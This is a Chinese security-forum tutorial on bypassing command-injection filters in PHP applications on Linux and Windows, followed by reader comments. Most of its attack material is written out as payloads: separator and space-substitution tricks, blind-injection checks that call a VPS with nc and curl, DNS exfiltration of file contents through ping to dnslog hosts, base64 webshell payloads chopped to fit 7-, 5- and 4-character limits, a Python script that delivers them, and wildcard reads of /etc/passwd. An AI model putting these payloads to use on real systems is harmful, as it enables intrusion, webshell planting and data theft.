命令执行Bypass——Xiaoyi

xiao_yi   ·   发表于 2021-08-05 18:58:50   ·   技术文章

常见命令执行的函数

system()

system(string $command, int &$return_var = ?): string

执行系统命令,有回显

passthru()

passthru(string $command, int &$return_var = ?): void

执行系统命令并且显示原始输出

shell_exec()

shell_exec(string $cmd): string)

通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)

exec()

exec(string $command, array &$output = ?, int &$return_var = ?): string

执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行

反引号

  1. echo `ls`;

只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用

回调函数

这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用

Bypass技巧

针对Linux系统

分隔符

  1. 换行符 %0a
  2. 回车符 %0d(利用fuzz测试从%00-%ff)
  3. 连续指令 ;
  4. 后台进程 & # java -jar test.jar & 表示进行放到后台执行,无法被ctrl+c杀死
  5. 管道符 | # echo 'ls' | bash
  6. 逻辑符 || && # skjkfj||ls 由于前面命令不存在而为假,转而执行后面的ls

空格代替

  1. $PWD 代表环境变量
  2. expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}14${IFS}1
  3. $u # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧
  4. c${u}at index$u.php$u
  5. c`$u`at index$u.php$u

对于无回显情况

对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)

> 判断思路

  1. 延时 ls|sleep(3)
  2. HTTP请求 curl
  3. DNS请求 ping

> curl进行检测

  1. 有一台可以进行通信的vps
  2. vps 上执行 nc -lvnp 4444
  3. 在目标机器上执行curl vps:4444
  4. 观察vps的连接情况
  5. 若出现返回,则说明这里是存在命令执行的
  6. 或者是编写sh脚本
  7. curl ip/1.sh > /tmp/1.sh
  8. 1.sh里面写
  9. 内容 | nc vpsip 监听端口
  10. 让受害机器将数据发送给你

> dnslog进行检测

  1. 由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来
  2. 推荐如下两个dnslog地址:
  3. http://dnslog.cn
  4. http://ceye.io/records/dns

注:在实际运用中有如下的局限性

  1. 1、长度的限制,外带的数据不能过长
  2. (解决思路:尝试将结果截断,分批次外带)
  3. 2、外带出来的数据中不能包含空格,很多特殊字符如(;>?
  4. 要目标机器去ping `cat where_is_flag.php|sed s/[[:space:]]/_/`.vflkgp.dnslog.cn
  5. sed s/[[:space:]]// 会将cat读取的内容里面的所有空格替换为_
  6. ping -c 4 `cat 1.php|sed s/[[:space:]]/_/|sed s/\/_/|sed s/\(/_/|sed s/\)/_/`.eugcs.ceye.io
  7. 可以尝试将所有可能出现的字符全部替换一遍

> 利用思路

  1. shell (直接写入/外部下载)
  2. 利用http/dns将数据外带

Bypass命令执行长度限制

思路
  1. wget 远程下载
  2. echo + >写入文件
  3. mv 重命名
  4. w>d\\ 写文件名后再通过 ls -t>0将文件名全部按时间顺序写入到0 然后sh 0执行脚本,运气不错的话就可以生成马(因为这里在复现的时候出现了很多插曲)
15个字符限制

> 思路

  1. 1 通过 wget localhost/a (只要你的域名够短,不大于8位的域名就可以进行利用)
  2. 再进行重命名 mv a a.php
  3. 2、通过echo写入
  4. echo \1
  5. echo eval\(>>1
  6. echo \$_GET>>1
  7. echo \[1\]>>1
  8. echo \)\;>>1
7个字符限制

> 思路

这里首先想到wget去远程下载文件,但是发现 wget \a就已经7个字符了,所以这种利用思路在这里就不可行了

然后再想到用echo写入,这里也值得注意的是 echo >>1已经8个字符,远超过了限制

但是秉承上面第二个的思路,那有没有很短的命令也可以进行写入呢?这里由于思路比较新颖,故而详细的记录一下具体过程

  1. 介绍一下用到的命令:
  2. w>a
  3. 向目录中写入一些数据并生成a文件
  4. ls -t
  5. 按照时间顺序排列当前文件名
  6. sh
  7. 用/bin/bash 执行文件中的命令集合

这里的思路就是将payload分隔成一条条的命令,然后利用 w> 生成文件名为payload的文件集合,利用ls写到一个文件中,再用sh执行分割的命令, 同时为了防止shell中的特殊字符影响,采用base64编码。具体流程如下:

  1. echo PD9waHAgZXZhbCgkX0dFVFsxXSk7\|base64 -d\>1.php

分解成下面,放到 7byte.txt(尽可能每句话等长度,不然ls -t可能会出现排序错误,同时也要注意特殊字符的影响)

  1. m>hp
  2. m>1.p\\
  3. m>d\>\\
  4. m>\ -\\
  5. m>e64\\
  6. m>bas\\
  7. m>7\|\\
  8. m>XSk\\
  9. m>Fsx\\
  10. m>dFV\\
  11. m>kX0\\
  12. m>bCg\\
  13. m>XZh\\
  14. m>AgZ\\
  15. m>waH\\
  16. m>PD9\\
  17. m>o\ \\
  18. m>ech\\
  19. ls -t>0
  20. sh 0

用下面的脚本一次请求

  1. # coding: utf-8
  2. import time
  3. import requests
  4. url1 = "http://192.168.111.x/demo/rce7.php?1="
  5. with open("7byte.txt", 'r') as f:
  6. for i in f.readlines():
  7. url = url1 + i.strip()
  8. requests.get(url)
  9. time.sleep(0.2)
  10. print(f"已经请求{url}")
  11. res = requests.get(url1[:-12]+"/1.php")
  12. if res.status_code == 200:
  13. print("ok, You have already upload!")

执行成功,成功写了一个shell

  1. 这是sh 执行的文件的内容 \表示命令未结束
  2. 0
  3. ech\
  4. o \
  5. PD9\
  6. waH\
  7. AgZ\
  8. XZh\
  9. bCg\
  10. kX0\
  11. dFV\
  12. Fsx\
  13. XSk\
  14. 7|\
  15. bas\
  16. e64\
  17. -\
  18. d>\
  19. 1.p\
  20. hp
  21. a
  22. 7rce.php
5个字符限制

和7字符思路一致,只是需要思考如何突破 ls -t>z

这里给出如下思路,先生成一个里面存有ls -t>z的文件a,利用sh a产生带有exp的z文件

  1. ls -rt>z
  2. 由于Linux系统中ls默认排序是根据字符顺序排序的,所以拆解命令
  3. >l\\
  4. >s\ \\
  5. >-rt\\
  6. >\>z\\
  7. ls>a
4个字符限制

同样思路也是解决 ls -t>z这个问题,但是如果是四个字符的话,很难找到相应的字母来固定ls执行后的顺序,所以这里有新的知识点

> 输入通配符*, Linux会把第一个列出来的文件名当作命令,剩下的文件名当作参数

  1. >id
  2. >root
  3. *
  4. uid=0(root) gid=0(root) 组=0(root)

> 增加字母来限定被用来当作命令和参数的文件

  1. >ls
  2. >lss
  3. >lsss
  4. *s
  5. lss lsss

> rev将输出内容导致, dir将当前文件列出且不换行

  1. >rev
  2. echo 1234 > v
  3. *v (等同于命令:rev v
  4. ls -t >0

所以我们需要构造的文件名为:`0dir
>e\>
>ht-
>sl
ls>a

  1. ![](https://nc0.cdn.zkaq.cn/md/4672/b950e07247efa3ad6145c6c4a732d566_33222.png)

>dir
>f\>
>ht-
>sl
>v
>rev
v>0
[root@localhost test]# cat 0
ls -th >f

  1. payload如下

>hp
>p\
>1.\
>\>\
>-d\
>}\
>IFS\
>{\
>\$\
>base64\
>|\
>PD9waHAgZXZhbCgkX0dFVFsxXSk7\ # 这里是因为我偷懒了,忽略字符长度限制的payload,实际上这里按照思路一个字母一个字母的分割也是没问题的
>echo\ \

  1. ### 针对Windows系统
  2. 主要参考来源:[urfyyy师傅的文章](https://bbs.zkaq.cn/t/4557.html),有兴趣的小伙伴可以看下他的文章的原理,我这里仅仅记录总结和复现。
  3. #### 分隔符
  4. 这里对分隔符做一些思考,是否像Linux一样存在多种方式进行多行命令执行呢?
  5. ![](https://nc0.cdn.zkaq.cn/md/4672/e284c44e99d5b0d080c07d20baab1055_40132.png)

假设执行这两个明明,中间的分隔符fuzz测试:
whoami%7cdir
%7c ————— | ————— 只会执行 后一个命令
%26 ————— & ————— 两个命令同时执行
%00 ————— NULL———— 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)
%0a ————— 换行符———- 执行前一个命令

  1. 那么这里又引出了思考,是不是只有&&才可以在windowsDOS命令下连续执行多条命令

whoami&&dir&ipconfig

  1. ![](https://nc0.cdn.zkaq.cn/md/4672/e2ab68d2aed94eaa14cac98311608c30_76007.png)

whoami|dir||ipconfig

  1. ![](https://nc0.cdn.zkaq.cn/md/4672/b9b0bbae23b219b3e9f7ba655361b429_74473.png)
  2. 这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。
  3. 可以用`dir /a/b | more`这个命令感受一些管道符的魅力
  4. #### 空格替代
  5. 这里第一个想到的就是字符截取

set envar=whoami
%envar:~0% # 取出所有字符
%envar:~0,6% # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行

  1. 使用set可以看到有哪些全局变量是我们可以利用的
  2. ![](https://nc0.cdn.zkaq.cn/md/4672/a151d32b32b98cb9b076b78ad9ebca63_93844.png)
  3. 现在开始着手从环境变量里取出空格

PSModulePath=C:\Program Files\WindowsPowerShell\Modules

net%PSModulePath:~10,1%user

  1. ![](https://nc0.cdn.zkaq.cn/md/4672/e796507ad82dba5f52ef1c7846f8d5b4_63444.png)

d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%

  1. ![](https://nc0.cdn.zkaq.cn/md/4672/1f625e57b66115d0e182650989a94e60_12258.png)
  2. 利用环境变量在C盘下写一句话,这里需要system权限

echo “123.php

echo “123.php

echo%CommonProgramFiles:~10,1%%TJ:~10,1%%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%

%CommonProgramFiles:~10,1% 空格
%SystemRoot:~0,3% C:\
%TJ:~10,1% “
%TJ:~14,1% p
%TJ:~-4,1% ?
%TJ:~15,1% h
%TJ:~8,1% @
%TJ:~5,1% e
%TJ:~16,1% v
%TJ:~0,1% a
%TJ:~17,1% l
%TJ:~9,1% \
%TJ:~7,1% $
%TJ:~-1,1% o
%TJ:~22,2% st
%TJ:~11,1% ;

a bcde/$@”;fgphvlrequst?使前者闭合,后面的”之前添加一个# 注释掉

我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行

其他无回显和过滤特定函数思路和LInux系统一致

总结

bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴可以给我点个赞吗!

用户名金币积分时间理由
xiao_yi 0.02 0 2021-10-23 23:11:29 <xxxs>
xiao_yi 0.02 0 2021-10-23 23:11:50 <xxxs>
xiao_yi 0.01 0 2021-10-23 23:11:03 一个受益终生的帖子~~
xiaoc 5.00 0 2021-08-16 17:05:46 ~~~
Track-聂风 60.00 0 2021-08-14 16:04:21 限时投稿额外打赏
Track-聂风 120.00 0 2021-08-14 16:04:10 不错哦,继续加油

打赏我,让我更有动力~

2 条回复   |  直到 2021-10-14 | 1839 次浏览

sunsky666
发表于 2021-8-15

大佬我来了

评论列表

  • 加载数据中...

编写评论内容

xiao_yi
发表于 2021-8-19

最近又看到可以尝试使用通配符达到绕过,在这里举个例子
/???/c?t /e??/p?s??d

因为这里用的是服务器,所以打了码

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.